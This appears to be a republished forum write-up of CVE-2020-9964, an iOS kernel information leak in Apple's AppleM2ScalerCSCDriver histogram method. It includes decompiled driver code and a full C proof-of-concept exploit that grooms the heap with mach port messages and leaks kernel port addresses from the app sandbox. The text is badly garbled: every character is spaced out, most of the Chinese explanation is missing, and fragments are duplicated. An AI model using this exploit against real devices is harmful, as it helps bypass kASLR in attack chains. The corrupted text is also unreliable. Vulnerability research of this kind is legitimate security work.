[2232] 2020-12-23_CVE-2020-9964-iOS信息泄漏

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-16
2020-12-23_CVE-2020-9964-iOS信息泄漏 C V E - 2 0 2 0 - 9 9 6 4 - i O S   M u i r e y 0 3   E D I   2 0 2 0 - 1 2 - 2 3 i O S   1 4 i O S   1 4 . 0 C V E - 2 0 2 0 - 9 9 6 4 I O S u r f a c e A c c e l e r a t o r : ) @   M u i r e y 0 3 M o h a m e d G h a n n a m @   _ s i m o 3 6 A p p l e I O S u r f a c e A c c e l e r a t o r C l i e n t   : :   u s e r _ g e t _ h i s t o g r a m I O S u r f a c e A c c e l e r a t o r C l i e n t A p p l e M 2 S c a l e r C S C D r i v e r   I O S e r v i c e 9 I O E x t e r n a l M e t h o d u s e r _ g e t _ h i s t o g r a m 8 8 g e t _ h i s t o g r a m g e t _ h i s t o g r a m _ g a t e d c l i e n t - >   h i s t o g r a m B u f f e r c l i e n t - >   h i s t o g r a m B u f f e r I O S u r f a c e A c c e l e r a t o r C l i e n t : : h i s t o g r a m B u f f e r 9 I O S u r f a c e A c c e l e r a t o r C l i e n t   : :   u s e r _ g e t _ h i s t o g r a m I O S u r f a c e A c c e l e r a t o r C l i e n t 使 I O U s e r C l i e n t   : :   g e t T a r g e t A n d M e t h o d F o r I n d e x {         I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m ,         k I O U C S t r u c t I S t r u c t O ,         0 x 8 ,         0 x 0 } I O R e t u r n   I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m ( I O S u r f a c e A c c e l e r a t o r C l i e n t   * t h i s ,   v o i d   * i n p u t ,   u i n t 6 4 _ t   i n p u t S i z e ) {     I O R e t u r n   r e s u l t ;     i f   ( t h i s - > c a l l e d F r o m K e r n e l )     {         . . .     }     e l s e     {         I O M e m o r y D e s c r i p t o r   * m e m D e s c   =   I O M e m o r y D e s c r i p t o r : : w i t h A d d r e s s R a n g e ( * ( m a c h _ v m _ a d d r e s s _ t   * ) i n p u t ,   t h i s - > h i s t o g r a m S i z e ,   k I O D i r e c t i o n O u t I n ,   t h i s - > t a s k ) ;         i f   (   m e m D e s c   )         {             r e t   =   m e m D e s c - > p r e p a r e ( k I O D i r e c t i o n N o n e ) ;             i f   ( r e t )             {                 . . .             }             e l s e             {                 r e t   =   A p p l e M 2 S c a l e r C S C D r i v e r : : g e t _ h i s t o g r a m ( t h i s - > f O w n e r ,   t h i s ,   m e m D e s c ) ;                 m e m D e s c - > c o m p l e t e ( k I O D i r e c t i o n N o n e ) ;             }             m e m D e s c - > r e l e a s e ( ) ;         }         e l s e         {             r e t   =   k I O R e t u r n N o M e m o r y ;         }     }     r e t u r n   r e t ; } A p p l e M 2 S c a l e r C S C D r i v e r   : :   g e t _ h i s t o g r a m ` I O R e t u r n   A p p l e M 2 S c a l e r C S C D r i v e r : : g e t _ h i s t o g r a m _ g a t e d ( A p p l e M 2 S c a l e r C S C D r i v e r   * t h i s ,   I O S u r f a c e A c c e l e r a t o r C l i e n t   * c l i e n t ,   I O M e m o r y D e s c r i p t o r   * m e m D e s c ) {     I O R e t u r n   r e s u l t ;     i f   (   m e m D e s c - > w r i t e B y t e s ( 0 ,   c l i e n t - > h i s t o g r a m B u f f e r ,   c l i e n t - > h i s t o g r a m S i z e )   = =   c l i e n t - > h i s t o g r a m S i z e   )         r e s u l t   =   k I O R e t u r n S u c c e s s ;     e l s e         r e s u l t   =   k I O R e t u r n I O E r r o r ;     r e t u r n   r e s u l t ; } I O S u r f a c e A c c e l e r a t o r C l i e n t   : :   i n i t C l i e n t
h i s t o g r a m B u f f e r I O M a l l o c 使 h i s t o g r a m B u f f e r 0 x d e a d b e e f k A S L R m a c h m a c h _ m s g _ o o l _ p o r t s _ d e s c r i p t o r _ t   线 O O L i p c _ k m s g _ c o p y i n _ o o l _ p o r t s _ d e s c r i p t o r 使 1 .   O O L c l i e n t - >   h i s t o g r a m S i z e 2 .   3 .   I O S u r f a c e A c c e l e r a t o r C l i e n t h i s t o g r a m B u f f e r 4 .   9 5 .   c l i e n t - >   h i s t o g r a m S i z e 0 x 3 0 0 9 6 0 x 8 0 b o o l   I O S u r f a c e A c c e l e r a t o r C l i e n t : : i n i t C l i e n t ( I O S u r f a c e A c c e l e r a t o r C l i e n t   * t h i s ,   A p p l e M 2 S c a l e r C S C D r i v e r   * o w n e r ,   i n t   t y p e ,   A p p l e M 2 S c a l e r C S C H a l   * h a l ) {     . . .     i f   (   . . .   )     {         . . .         i f   (   . . .   )         {             s i z e _ t   b u f f e r S i z e   =   . . . ;             t h i s - > h i s t o g r a m S i z e   =   b u f f e r S i z e ;             t h i s - > h i s t o g r a m B u f f e r   =   ( v o i d   * ) I O M a l l o c ( b u f f e r S i z e ) ;             I O A s y n c h r o n o u s S c h e d u l e r   * s c h e d u l e r   =   I O A s y n c h r o n o u s S c h e d u l e r : : i o A s y n c h r o n o u s S c h e d u l e r ( 0 ) ;             t h i s - > s c h e d u l e r   =   s c h e d u l e r ;             i f   (   s c h e d u l e r   )                 r e t u r n   t r u e ;             . . .         }         e l s e         {             . . .         }     }     e l s e     {         . . .     }     t h i s - > s t o p C l i e n t ( ) ;     r e t u r n   f a l s e ; } # i n c l u d e   < s t d l i b . h > # i n c l u d e   < a s s e r t . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < m a c h / m a c h . h > # i n c l u d e   < I O K i t / I O K i t L i b . h > # i f   0 A p p l e M 2 S c a l e r C S C D r i v e r   I n f o l e a k : I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m   t a k e s   a   u s e r s p a c e   p o i n t e r   a n d   w r i t e s   h i s t o g r a m   d a t a   b a c k   t o   t h a t   a d d r e s s . I O S u r f a c e A c c e l e r a t o r C l i e n t : : i n i t C l i e n t   a l l o c a t e s   t h i s   h i s t o g r a m   b u f f e r ,   b u t   d o e s   n o t   z e r o   t h e   m e m o r y . W h e n   t h e   e x t e r n a l   m e t h o d   I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m   i s   c a l l e d ,   t h i s   u n i n i t i a l i s e d   m e m o r y   i s   t h e n   s e n t   b a c k   t o   u s e r s p a c e . T h i s   v u l n e r a b i l i t y   i s   r e a c h a b l e   f r o m   w i t h i n   t h e   a p p   s a n d b o x   o n   i O S . B e l o w   i s   a   p r o o f - o f - c o n c e p t   e x p l o i t   w h i c h   u t i l i s e s   t h i s   v u l n e r a b i l i t y   t o   l e a k   t h e   a d d r e s s   o f   a n y   m a c h   p o r t   t h a t   t h e   c a l l i n g   p r o c e s s   h o l d s   a   s e n d - r i g h t   t o . O t h e r   k e r n e l   o b j e c t   a d d r e s s e s   c a n   b e   o b t a i n e d   u s i n g   t h i s   v u l n e r a b i l i t y   i n   s i m i l a r   w a y s . # e n d i f # d e f i n e   A S S E R T _ K R ( k r )   d o   {       i f   ( k r   ! =   K E R N _ S U C C E S S )   {           f p r i n t f ( s t d e r r ,   " k r :   % s   ( 0 x % x ) n " ,   m a c h _ e r r o r _ s t r i n g ( k r ) ,   k r ) ;           e x i t ( E X I T _ F A I L U R E ) ;  
    }   }   w h i l e ( 0 ) # d e f i n e   L E A K _ S I Z E   0 x 3 0 0 # d e f i n e   S P R A Y _ C O U N T   0 x 8 0 m a c h _ p o r t _ t   c r e a t e _ p o r t ( v o i d ) {     m a c h _ p o r t _ t   p   =   M A C H _ P O R T _ N U L L ;     m a c h _ p o r t _ a l l o c a t e ( m a c h _ t a s k _ s e l f ( ) ,   M A C H _ P O R T _ R I G H T _ R E C E I V E ,   & p ) ;     m a c h _ p o r t _ i n s e r t _ r i g h t ( m a c h _ t a s k _ s e l f ( ) ,   p ,   p ,   M A C H _ M S G _ T Y P E _ M A K E _ S E N D ) ;     r e t u r n   p ; } i o _ c o n n e c t _ t   o p e n _ c l i e n t ( c o n s t   c h a r *   s e r v i c e N a m e ,   u i n t 3 2 _ t   t y p e ) {     i o _ c o n n e c t _ t   c l i e n t   =   M A C H _ P O R T _ N U L L ;     i o _ s e r v i c e _ t   s e r v i c e   =   I O S e r v i c e G e t M a t c h i n g S e r v i c e ( k I O M a s t e r P o r t D e f a u l t ,   I O S e r v i c e M a t c h i n g ( s e r v i c e N a m e ) ) ;     a s s e r t ( s e r v i c e   ! =   M A C H _ P O R T _ N U L L ) ;     I O S e r v i c e O p e n ( s e r v i c e ,   m a c h _ t a s k _ s e l f ( ) ,   t y p e ,   & c l i e n t ) ;     a s s e r t ( c l i e n t   ! =   M A C H _ P O R T _ N U L L ) ;     I O O b j e c t R e l e a s e ( s e r v i c e ) ;     r e t u r n   c l i e n t ; } v o i d   p u s h _ t o _ f r e e l i s t ( m a c h _ p o r t _ t   p o r t ) {         u i n t 3 2 _ t   p o r t C o u n t   =   L E A K _ S I Z E   /   s i z e o f ( v o i d * ) ;     s t r u c t   {         m a c h _ m s g _ h e a d e r _ t   h e a d e r ;         m a c h _ m s g _ b o d y _ t   b o d y ;         m a c h _ m s g _ o o l _ p o r t s _ d e s c r i p t o r _ t   o o l _ p o r t s ;     }   m s g   =   { { 0 } } ;     m a c h _ p o r t _ t *   p o r t s   =   ( m a c h _ p o r t _ t * ) m a l l o c ( p o r t C o u n t   *   s i z e o f ( m a c h _ p o r t _ t ) ) ;     f o r   ( u i n t 3 2 _ t   i   =   0 ;   i   <   p o r t C o u n t ;   i + + )         p o r t s [ i ]   =   p o r t ;         s i z e _ t   m s g S i z e   =   s i z e o f ( m s g ) ;     m s g . h e a d e r . m s g h _ b i t s   =   M A C H _ M S G H _ B I T S _ S E T ( M A C H _ M S G _ T Y P E _ M A K E _ S E N D ,   0 ,   0 ,   M A C H _ M S G H _ B I T S _ C O M P L E X ) ;     m s g . h e a d e r . m s g h _ s i z e   =   m s g S i z e ;     m s g . h e a d e r . m s g h _ i d   =   ' O O L P ' ;     m s g . b o d y . m s g h _ d e s c r i p t o r _ c o u n t   =   1 ;     m s g . o o l _ p o r t s . t y p e   =   M A C H _ M S G _ O O L _ P O R T S _ D E S C R I P T O R ;     m s g . o o l _ p o r t s . a d d r e s s   =   ( v o i d * ) p o r t s ;     m s g . o o l _ p o r t s . c o u n t   =   p o r t C o u n t ;     m s g . o o l _ p o r t s . d e a l l o c a t e   =   f a l s e ;     m s g . o o l _ p o r t s . c o p y   =   M A C H _ M S G _ P H Y S I C A L _ C O P Y ;     m s g . o o l _ p o r t s . d i s p o s i t i o n   =   M A C H _ M S G _ T Y P E _ M A K E _ S E N D ;     m a c h _ p o r t _ t   r c v P o r t s [ S P R A Y _ C O U N T ] ;     f o r   ( u i n t 3 2 _ t   i   =   0 ;   i   <   S P R A Y _ C O U N T ;   i + + )     {         m a c h _ p o r t _ t   r c v P o r t   =   c r e a t e _ p o r t ( ) ;         r c v P o r t s [ i ]   =   r c v P o r t ;         m s g . h e a d e r . m s g h _ r e m o t e _ p o r t   =   r c v P o r t ;         / / t r i g g e r   k e r n e l   a l l o c a t i o n   o f   p o r t   a r r a y :         k e r n _ r e t u r n _ t   k r   =   m a c h _ m s g ( & m s g . h e a d e r ,   M A C H _ S E N D _ M S G   |   M A C H _ M S G _ O P T I O N _ N O N E ,   ( m a c h _ m s g _ s i z e _ t ) m s g S i z e ,   0 ,   M A C H _ P O R T _ N U L L ,   M A C H _ M S G _ T I M E O U T _ N O N E ,   M A C H _ P O R T _ N U L L ) ;         A S S E R T _ K R ( k r ) ;     }     f o r   ( u i n t 3 2 _ t   i   =   1 ;   i   <   S P R A Y _ C O U N T ;   i + + )         m a c h _ p o r t _ d e s t r o y ( m a c h _ t a s k _ s e l f ( ) ,   r c v P o r t s [ i ] ) ;     f r e e ( ( v o i d * ) p o r t s ) ; } / / T h e   a c t u a l   v u l n e r a b i l i t y : v o i d   l e a k _ b y t e s ( v o i d *   b u f f e r ) {     i o _ c o n n e c t _ t   c l i e n t   =   o p e n _ c l i e n t ( " A p p l e M 2 S c a l e r C S C D r i v e r " ,   0 ) ;     k e r n _ r e t u r n _ t   k r   =   I O C o n n e c t C a l l S t r u c t M e t h o d ( c l i e n t ,   9 ,   ( u i n t 6 4 _ t * ) & b u f f e r ,   8 ,   N U L L ,   N U L L ) ;     A S S E R T _ K R ( k r ) ;     I O S e r v i c e C l o s e ( c l i e n t ) ; } u i n t 6 4 _ t   f i n d _ p o r t _ a d d r ( m a c h _ p o r t _ t   p o r t ) {     u i n t 6 4 _ t *   l e a k   =   ( u i n t 6 4 _ t * ) m a l l o c ( L E A K _ S I Z E ) ;     p r i n t f ( " P r e p a r i n g   h e a p n " ) ;
1 0 0 使 i O S   1 4 i O S   1 4 E D I     p r i n t f ( " P r e p a r i n g   h e a p n " ) ;     p u s h _ t o _ f r e e l i s t ( p o r t ) ;     p r i n t f ( " L e a k i n g   0 x % z x   b y t e s n " ,   ( s i z e _ t ) L E A K _ S I Z E ) ;     l e a k _ b y t e s ( l e a k ) ;     u i n t 6 4 _ t   a d d r   =   l e a k [ 1 ] ;     f r e e ( l e a k ) ;     r e t u r n   a d d r ; } i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ,   c h a r *   e n v p [ ] ) {     m a c h _ p o r t _ t   p o r t   =   c r e a t e _ p o r t ( ) ;     u i n t 6 4 _ t   p o r t _ a d d r   =   f i n d _ p o r t _ a d d r ( p o r t ) ;     p r i n t f ( " L e a k e d   p o r t   a d d r e s s :   % p n " ,   ( v o i d * ) p o r t _ a d d r ) ;     r e t u r n   0 ; }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则